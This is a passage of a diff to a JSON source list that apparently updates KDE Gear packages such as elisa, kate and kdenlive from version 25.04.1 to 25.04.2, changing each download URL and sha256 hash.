-    "hash": "sha256-CMPGloWE6QwbOZnnNjoweiMYuExRyIaSBoR2vpN9CXY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/dragon-25.04.2.tar.xz",
+    "hash": "sha256-FaFO6ylZib8f/zXlWJeoF/f9pwZPC8McMx6IttQf/YI="
   },
   "elisa": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/elisa-25.04.1.tar.xz",
-    "hash": "sha256-KmrUVQuEttFGqB4+p4lrObak9r3OHr2QENcdaHSZJww="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/elisa-25.04.2.tar.xz",
+    "hash": "sha256-49XjQeUz6Rlp7l8gFaH4H47CsLG2AQLqfBaILTa/51A="
   },
   "eventviews": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/eventviews-25.04.1.tar.xz",
-    "hash": "sha256-E420Tr7/KVmPj6UmbM0yAO0a5oz8QOikNRBUxAAjIXU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/eventviews-25.04.2.tar.xz",
+    "hash": "sha256-sKrN/OGCGDMfiRSg7x/GlqLnHXqYEcrAjQzk84xkcjI="
   },
   "falkon": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/falkon-25.04.1.tar.xz",
-    "hash": "sha256-ry/7LPTGLRfd+3N+cd/aeoWBbS+s9cgrryNDb8073vA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/falkon-25.04.2.tar.xz",
+    "hash": "sha256-i/2l6Vq8RjqIJBFIyBWEowvUQ7dngY0SJXOeaBlCyYg="
   },
   "ffmpegthumbs": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ffmpegthumbs-25.04.1.tar.xz",
-    "hash": "sha256-1f5u/wDqL2IEAtUY86fL0z0EcSzDwyC8uDv6wa8nMfg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ffmpegthumbs-25.04.2.tar.xz",
+    "hash": "sha256-xH5AlV/VAq+U8m++sPJx/ekNvj3jqkQsrMtG08qASyI="
   },
   "filelight": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/filelight-25.04.1.tar.xz",
-    "hash": "sha256-Fp2x/jVtHWWFDZA8U3iZrRNC4qc9GADSt/v7ox8ONEs="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/filelight-25.04.2.tar.xz",
+    "hash": "sha256-ysX3DQLSUY/VVo+Gw3hnfcpF2oYYCIWjjiy/DPENA6o="
   },
   "francis": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/francis-25.04.1.tar.xz",
-    "hash": "sha256-zPZBwXGfTytwNl+ZYy5BBWsGgr8XzJ5pmBfZk5NiWcU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/francis-25.04.2.tar.xz",
+    "hash": "sha256-iHDHRLJJsf1QlLUkqkTm1vAn7i/gTgy2ie/jv3lnCgs="
   },
   "ghostwriter": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ghostwriter-25.04.1.tar.xz",
-    "hash": "sha256-gU1FDMhKnrEVQN5Aik7C0ZGMoA0FyloXLVvQE0AxIBA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ghostwriter-25.04.2.tar.xz",
+    "hash": "sha256-EsHf0vgf9E5KB0cUsH00GjXlzAWKaTOOz6zmSNF8hBo="
   },
   "granatier": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/granatier-25.04.1.tar.xz",
-    "hash": "sha256-7O0/9hp3nMaCNAf0Wx1AhuFnr0CmqDPPq7NjwUNuI4w="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/granatier-25.04.2.tar.xz",
+    "hash": "sha256-SrthlEvD6/0336VJEmtB2bOf/tc6NXa+R2osrSAX3Ls="
   },
   "grantlee-editor": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/grantlee-editor-25.04.1.tar.xz",
-    "hash": "sha256-8DaigFRKjKia8haQ5CRVreUeZpBK5rnzfeUAPXkgGGg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/grantlee-editor-25.04.2.tar.xz",
+    "hash": "sha256-trxLa5OU+HqsBtVJ7SJK9ozylWFBgv9DTUHaBs1kaus="
   },
   "grantleetheme": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/grantleetheme-25.04.1.tar.xz",
-    "hash": "sha256-+mC3zFy0foV1/LjwkdLq0z11EVnU0hGOZdxxOhrLfVw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/grantleetheme-25.04.2.tar.xz",
+    "hash": "sha256-Q4apQf4Qygvvm1SDrfo9Pu4AVrWO+ooQf877JtzpMso="
   },
   "gwenview": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/gwenview-25.04.1.tar.xz",
-    "hash": "sha256-6g9V2A7s+891kCgzFN2duWpMDprLNKy5YbNjah7nkl8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/gwenview-25.04.2.tar.xz",
+    "hash": "sha256-8uwbu3H+/QQaZWaG5OuKPtaE+RPPqG4GKkDZIiyjFD8="
   },
   "incidenceeditor": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/incidenceeditor-25.04.1.tar.xz",
-    "hash": "sha256-dRUJgki+MgeSHGzFDKdCfUt4514t4xRB9Z1Liisodtw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/incidenceeditor-25.04.2.tar.xz",
+    "hash": "sha256-mlO3z2nGDBmuJrd0S2ebErYOymEKJHHEl+t5G2otrM8="
   },
   "isoimagewriter": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/isoimagewriter-25.04.1.tar.xz",
-    "hash": "sha256-NbaHJaZY9IaYMlbtn8wn6Kk+Rzauj2aITVCk+RX12GY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/isoimagewriter-25.04.2.tar.xz",
+    "hash": "sha256-afDvhV16v/k+U4OZJBuh0SKSPeIp5DoB0yj8cfbJAb4="
   },
   "itinerary": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/itinerary-25.04.1.tar.xz",
-    "hash": "sha256-DbidOVHAZQhnPikyx7o3FwG/NMlRA2ijBAsfW1+jNHY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/itinerary-25.04.2.tar.xz",
+    "hash": "sha256-ZQ2szuqnFPuQhgthI4hA68b2GRYFzylDoHhaS8wAPxA="
   },
   "juk": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/juk-25.04.1.tar.xz",
-    "hash": "sha256-5NFUd6tQdAB/k6qHJpZrZxuCc4PaHRnarK+ZNUkM6t8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/juk-25.04.2.tar.xz",
+    "hash": "sha256-5ATTew6kS5JyA11xNRJP+2znBSkmxK42XBV98kXgQm4="
   },
   "k3b": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/k3b-25.04.1.tar.xz",
-    "hash": "sha256-YVtom8luPYgKWGaKrqdXZv+BxguVg/Nbs2rd++6R0iI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/k3b-25.04.2.tar.xz",
+    "hash": "sha256-r6fVDoXK15mN/HS/SMiPF74kSdB/gATNfbSfoLVG/8I="
   },
   "kaccounts-integration": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kaccounts-integration-25.04.1.tar.xz",
-    "hash": "sha256-MU/zRqIk0ro/u9wTAkHwalxcN9lxmcUSocYv6tf7/pM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kaccounts-integration-25.04.2.tar.xz",
+    "hash": "sha256-D+zWTQsLxpi9TJoTqA2vltOncHLduGFri8ZwtnJJ0Vw="
   },
   "kaccounts-providers": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kaccounts-providers-25.04.1.tar.xz",
-    "hash": "sha256-v0ALGu8T8jX/oldBtFpqJFLwY6rE3h/ZSo/+xV+6Hk0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kaccounts-providers-25.04.2.tar.xz",
+    "hash": "sha256-WGQGt/PZMXCjb8Sf4ejW6KbCPx4AvqRgri+LxqX1dis="
   },
   "kaddressbook": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kaddressbook-25.04.1.tar.xz",
-    "hash": "sha256-OMR3wf9EjoIAAYQ5hNrpRsTZ9OUlLAvFyWt5Ai6ac0k="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kaddressbook-25.04.2.tar.xz",
+    "hash": "sha256-deC+A4kRASK1nvClb4vAaYdbBYSBNTS8q9watefT4uM="
   },
   "kajongg": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kajongg-25.04.1.tar.xz",
-    "hash": "sha256-qkjEIyIjZkheY0R/h/X3pcxurvjBHrjbB3CC/gMlEY0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kajongg-25.04.2.tar.xz",
+    "hash": "sha256-THQiKR+4tUhXgodYVFYPIh8frr+nVZCi6tAJ/L2H+RQ="
   },
   "kalarm": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kalarm-25.04.1.tar.xz",
-    "hash": "sha256-I4lNVpr6i1NJlvS2OhoyXEImukhy8Eef4PjJnng2/e0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kalarm-25.04.2.tar.xz",
+    "hash": "sha256-bDNbQ6ZhCK0FOmNL/3KFBzk6sJDru4l3RTkAl3wiLMY="
   },
   "kalgebra": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kalgebra-25.04.1.tar.xz",
-    "hash": "sha256-SmEeiZ4+vMEpI/EYcVBy+O4uUvV+mC/yI0K7e4ZQea8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kalgebra-25.04.2.tar.xz",
+    "hash": "sha256-tUxTX9L4w+1oWQQPb4yn+9XAzLgaCiGcrJAH+itF/Ms="
   },
   "kalk": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kalk-25.04.1.tar.xz",
-    "hash": "sha256-UvGKqtHrjfcTMFee1mAtpHi3Z69+l4C8Q2xn2LtSjDk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kalk-25.04.2.tar.xz",
+    "hash": "sha256-UeLNayx9DJcaNKhGAYxFmGjnfFXWn07EkJo5VslTZfY="
   },
   "kalm": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kalm-25.04.1.tar.xz",
-    "hash": "sha256-mx40htAOStgXRDsE2DHx1/YW10p/sGmOWdX+uMINPLM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kalm-25.04.2.tar.xz",
+    "hash": "sha256-LX+/UVl1ELdnZWANxpz3JnCcigvFm/OaWD9nVFS+VUE="
   },
   "kalzium": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kalzium-25.04.1.tar.xz",
-    "hash": "sha256-MaMaRdwtfFWBBm1eZlTCA44sc7FRJjKBcOOf3zYaG2Q="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kalzium-25.04.2.tar.xz",
+    "hash": "sha256-JnriX9QfwDo4bkMtVqfONPnsukzlxWhprQ9dYK1E23Y="
   },
   "kamera": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kamera-25.04.1.tar.xz",
-    "hash": "sha256-v8NdzlrhRoRs+UDvs8WctDZgYNZqbeJioLTQ679OvhA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kamera-25.04.2.tar.xz",
+    "hash": "sha256-pF/QIflaozTS+ZlN3qr6KQ9xWAJ3GStsXSgpY3qNx+g="
   },
   "kamoso": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kamoso-25.04.1.tar.xz",
-    "hash": "sha256-BOqCVgAq7MeaKx3eRsXOCOZZXJFEGj51PwhjDud0SQQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kamoso-25.04.2.tar.xz",
+    "hash": "sha256-Qllpwi0tZOhBNd0N8cRuFabCqH0EdZymyFPjYVFSQsE="
   },
   "kanagram": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kanagram-25.04.1.tar.xz",
-    "hash": "sha256-UKjO9Z8UY1YmGfttsRWsfvPjRCX4FYeCSR2i86aKP1k="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kanagram-25.04.2.tar.xz",
+    "hash": "sha256-YipF7lXS3wDP94x/S5DPkzKFjaN2+XwZ2gMVpuJsYsc="
   },
   "kapman": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kapman-25.04.1.tar.xz",
-    "hash": "sha256-71wVm1BcybrUNHORlgpL36avaR2XfVETjLEi2BzLsME="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kapman-25.04.2.tar.xz",
+    "hash": "sha256-7MlzaMoA2NhXmqRtT0tDRigm4x163S1hysE7yRQK3B8="
   },
   "kapptemplate": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kapptemplate-25.04.1.tar.xz",
-    "hash": "sha256-S855smMJeCVYHSGlEIbI8dgUU23W5BT325kEP5Nae74="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kapptemplate-25.04.2.tar.xz",
+    "hash": "sha256-0fTyCv4Mh2nfsxUAS0tI9///6gIfmWeI/Doacm2Hm5I="
   },
   "kasts": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kasts-25.04.1.tar.xz",
-    "hash": "sha256-o5D/TGnuYZ3uoAiFmb8vF4iEWGjtPfN9p8fNVW1LoYI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kasts-25.04.2.tar.xz",
+    "hash": "sha256-2BuVJPOPxxh0+4CpRahizPs+iAtmzeYQe8alEwQxvmM="
   },
   "kate": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kate-25.04.1.tar.xz",
-    "hash": "sha256-gg8EEqhIVHKETqg4gcR+G5AJPOPicp5pEPnTWT/lMKo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kate-25.04.2.tar.xz",
+    "hash": "sha256-aVE5GhlWbSzDbDaa74a1gmEWk5HVpkz/D6cwG7F4eaU="
   },
   "katomic": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/katomic-25.04.1.tar.xz",
-    "hash": "sha256-3/LDgLpjOGNPjophi2flgsq3szdiy3iZ12fOETk3fMo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/katomic-25.04.2.tar.xz",
+    "hash": "sha256-gYCFU8+6s+KZenuDlakYr0GBRMQeyW5jGNsPEGrdye8="
   },
   "kbackup": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kbackup-25.04.1.tar.xz",
-    "hash": "sha256-rAMqPULe4ltaR9PqAEioI5m0udDcFvb0gtXuTeBywzA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kbackup-25.04.2.tar.xz",
+    "hash": "sha256-2z6CpvlxQrh0puvo8bge7koKhADn/VI+UVBVeVjsi7A="
   },
   "kblackbox": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kblackbox-25.04.1.tar.xz",
-    "hash": "sha256-KWsAA4tV4s6Jee8yfW5stkKcxumT2NAcvUOS2VchY+Y="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kblackbox-25.04.2.tar.xz",
+    "hash": "sha256-TxCasBNHCOx/IR3c6dyB4YcF0VepKiO6juvKBjoNark="
   },
   "kblocks": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kblocks-25.04.1.tar.xz",
-    "hash": "sha256-xhpN6fsMNutdg+JFmWJPSOGBAY/OfT/RxbKSEKf4Dsk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kblocks-25.04.2.tar.xz",
+    "hash": "sha256-qNUk1qrgAM3x68OOR0tMTKb+wgTYBJjvBxFRY+0Tzls="
   },
   "kbounce": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kbounce-25.04.1.tar.xz",
-    "hash": "sha256-gAYdfMj2V7MdiI+TACk/1GMGMhXtXZ/joguoX624omA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kbounce-25.04.2.tar.xz",
+    "hash": "sha256-H600dvJjZ46hd5TrmecnjvIfeZIs+C/9MvqWRMSZ+2k="
   },
   "kbreakout": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kbreakout-25.04.1.tar.xz",
-    "hash": "sha256-4TQrYWsim9UREo35ZEDGzIzqx5rhvLliZwebtzyLBd0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kbreakout-25.04.2.tar.xz",
+    "hash": "sha256-sdUymrxhZ797tX/NXgJ1gSw3EBjkR9bu3KEVgre93u8="
   },
   "kbruch": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kbruch-25.04.1.tar.xz",
-    "hash": "sha256-Fd66s9ZHLtCo5I34NiuyGZArniHdKgTkaDucrpYoinE="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kbruch-25.04.2.tar.xz",
+    "hash": "sha256-UyWR3V0eTQfSSYAQ9b29LUwTwO6fsvHq268iSFtwk+s="
   },
   "kcachegrind": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kcachegrind-25.04.1.tar.xz",
-    "hash": "sha256-C3NJuE9ekKnZywWyZCsqecJ6Yp2suFupTle5Uovh+XU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kcachegrind-25.04.2.tar.xz",
+    "hash": "sha256-z0+NlHH/4k/EJTfu0AoL+f7qDp1wUzS/jFwxdti3zGs="
   },
   "kcalc": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kcalc-25.04.1.tar.xz",
-    "hash": "sha256-uI4xr2fNhqKq2DbOCKUjHEdl4KnyAOEkSyw0yE8kllw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kcalc-25.04.2.tar.xz",
+    "hash": "sha256-mPAQpmFf4Iza2jsV00hRnp6JJXX8NjamYQKbMXs6/Q0="
   },
   "kcalutils": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kcalutils-25.04.1.tar.xz",
-    "hash": "sha256-CfDd1OHTOxMuCIaticwAWC15/XOlS5SjHDcKXHsGNKo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kcalutils-25.04.2.tar.xz",
+    "hash": "sha256-4vPiAzc6Z59ZzPMyTncGjGfQIxv/Ul1FH/0s2HRZyMA="
   },
   "kcharselect": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kcharselect-25.04.1.tar.xz",
-    "hash": "sha256-G01n4ShvMTiPpJ8oCXvEXXc4jHcpbbNbw0rOKtDZyEo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kcharselect-25.04.2.tar.xz",
+    "hash": "sha256-NLp4E6e0PnWOEDUW0RuS5oEl+BOYm8DppuQ38zleP2M="
   },
   "kclock": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kclock-25.04.1.tar.xz",
-    "hash": "sha256-m5cvJIx/eBD+1pOzkR4YJcDipeJyKitZrrQ5DT0/1lY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kclock-25.04.2.tar.xz",
+    "hash": "sha256-bP0oUWLNe05VJGgYSqHB7WJsNx+8kaV/3B5unf41Omo="
   },
   "kcolorchooser": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kcolorchooser-25.04.1.tar.xz",
-    "hash": "sha256-vtOywWP4d11AvKVYr9C4wYR+KbqbpSm0Evkhfws3gM8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kcolorchooser-25.04.2.tar.xz",
+    "hash": "sha256-dJ86gEmPtWMtXINfSsF+7dFtiR3XS4rwbKEkRce8ag8="
   },
   "kcron": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kcron-25.04.1.tar.xz",
-    "hash": "sha256-K+qIgZOtiYa5tx2+6HJoGlLVDceaB+Ez/mxMUpBmGTk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kcron-25.04.2.tar.xz",
+    "hash": "sha256-51s14UXXWzkbgeuILRyPAtjQ8gVhFGOSSQkQNCrgXys="
   },
   "kde-dev-scripts": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kde-dev-scripts-25.04.1.tar.xz",
-    "hash": "sha256-Qs2fP2vzLZiCLNfA9pkn4va6Rtd9Pa5SBKiWd7fVUAU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kde-dev-scripts-25.04.2.tar.xz",
+    "hash": "sha256-mmHiU8F8Efibjjav+man4tNJR6ZXHmoWQ1IsrVW2lFc="
   },
   "kde-dev-utils": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kde-dev-utils-25.04.1.tar.xz",
-    "hash": "sha256-2qTJt/cMQ5wegyphqcjGg1MxSZXwyhrHLmis0gcGDTQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kde-dev-utils-25.04.2.tar.xz",
+    "hash": "sha256-ZVW9LmXO5+X33A0Uqko9q8+WhnIz2Frft7I4d++L33c="
   },
   "kde-inotify-survey": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kde-inotify-survey-25.04.1.tar.xz",
-    "hash": "sha256-G8PjwGpq4WQGDtQPKzxXjkKkHWoJ80mVOo4MgY6QBBY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kde-inotify-survey-25.04.2.tar.xz",
+    "hash": "sha256-UMet+wHCsTJf0xlKbaRDWV6ciWRXJqGHvrycUebVMDo="
   },
   "kdebugsettings": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdebugsettings-25.04.1.tar.xz",
-    "hash": "sha256-xj9EPWF/tvj0KnuO39TzxlpvY+PLlNS3AYN8fNHXFM4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdebugsettings-25.04.2.tar.xz",
+    "hash": "sha256-caSrXDg/AcFPtv8SoVcCKZu/1Zribgixf5+TsJD8qv4="
   },
   "kdeconnect-kde": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdeconnect-kde-25.04.1.tar.xz",
-    "hash": "sha256-6shY6dt5UuBuh4GCMsePe854iW3S/Cz9e6kj0dkb6KU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdeconnect-kde-25.04.2.tar.xz",
+    "hash": "sha256-TGXkc6V+Th/8mZg4rbWxqgGoVTSw5GmXq0Kr2hfM0bU="
   },
   "kdeedu-data": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdeedu-data-25.04.1.tar.xz",
-    "hash": "sha256-mlWZc93EqojK4jo2ZNKte5GBtD04aTwo6yHOeSrLvHk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdeedu-data-25.04.2.tar.xz",
+    "hash": "sha256-xtDUd2uqOvy6H23vd0e/xiN21QFRmI1r9/+xGPw2v/M="
   },
   "kdegraphics-mobipocket": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdegraphics-mobipocket-25.04.1.tar.xz",
-    "hash": "sha256-50K2ppCZrqJ4B8DIVuFhsr2YWeh0XLsJrFHLTf2Ne/k="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdegraphics-mobipocket-25.04.2.tar.xz",
+    "hash": "sha256-3dVG6P/1VS5bfnKU88Y7YTDZqY9hVeooD6hh95PPIzc="
   },
   "kdegraphics-thumbnailers": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdegraphics-thumbnailers-25.04.1.tar.xz",
-    "hash": "sha256-a7x11dEJzvUWhiIE/IV4uoKBoBAYhJIPgywX5EZAMmw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdegraphics-thumbnailers-25.04.2.tar.xz",
+    "hash": "sha256-ZaPK/+mKrbXpQCPGdNFj0aPvs9ofOyIvPYgxQ+L3/nw="
   },
   "kdenetwork-filesharing": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdenetwork-filesharing-25.04.1.tar.xz",
-    "hash": "sha256-Y1Cw1dcYIcU9Sz+wB+x+OGyTNmGkL8ZALR2XWlEyEk4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdenetwork-filesharing-25.04.2.tar.xz",
+    "hash": "sha256-87G3KM8rLSbEfDjyqtBUxv6BEqMCoMhApwy9TxHaSTs="
   },
   "kdenlive": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdenlive-25.04.1.tar.xz",
-    "hash": "sha256-ygESH95vUuQVtbhP8vTZ/2ieA3WbVovsAFEnElqx6Uc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdenlive-25.04.2.tar.xz",
+    "hash": "sha256-M4VS++Z132ceBaXrzodE6LHQfbnjb0ToNlXv+c4tQoE="
   },
   "kdepim-addons": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdepim-addons-25.04.1.tar.xz",
-    "hash": "sha256-3lv6DERjD3/Ltq3f+RruPPW9Z1q+NKi2zho55AS333I="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdepim-addons-25.04.2.tar.xz",
+    "hash": "sha256-l9w5Po3JQfpBGaIut17tCL9Ot9KBlB+HnjqLojD/sDM="
   },
   "kdepim-runtime": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdepim-runtime-25.04.1.tar.xz",
-    "hash": "sha256-lZxTNdAMjrBbF3QtobehQrjG+RiEGU8/m/wJ9X8jMe4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdepim-runtime-25.04.2.tar.xz",
+    "hash": "sha256-ZcJC4tJxQ6OiQUVPkq7NGtnApVxKYw/QXaJu8d8B6yg="
   },
   "kdesdk-kio": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdesdk-kio-25.04.1.tar.xz",
-    "hash": "sha256-Ri/2zYtLW2LDwNbmmp8lUUNsX49m+OAxwaK9ByZErTw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdesdk-kio-25.04.2.tar.xz",
+    "hash": "sha256-1tqE6xb1CaTjrpzqStHZlzKvhAIJjmFQ45bFC3vy6/c="
   },
   "kdesdk-thumbnailers": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdesdk-thumbnailers-25.04.1.tar.xz",
-    "hash": "sha256-SQX53k1YvamqFAakkUsPvH4WKbHFG+ibiBUsHDSN/LE="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdesdk-thumbnailers-25.04.2.tar.xz",
+    "hash": "sha256-I9edoNV4v9n9CCePDd12Q5ZfKsw1DzwTTgXbCq7EHY8="
   },
   "kdev-php": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdev-php-25.04.1.tar.xz",
-    "hash": "sha256-F+/hb7bVBnfCWmIZw1VOhI0aaHjbHnGh5oyxbC97ckI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdev-php-25.04.2.tar.xz",
+    "hash": "sha256-DGue90nQ+ENWUf0B3CWg3LShOnNIXmbtbVPoJE7ITk0="
   },
   "kdev-python": {
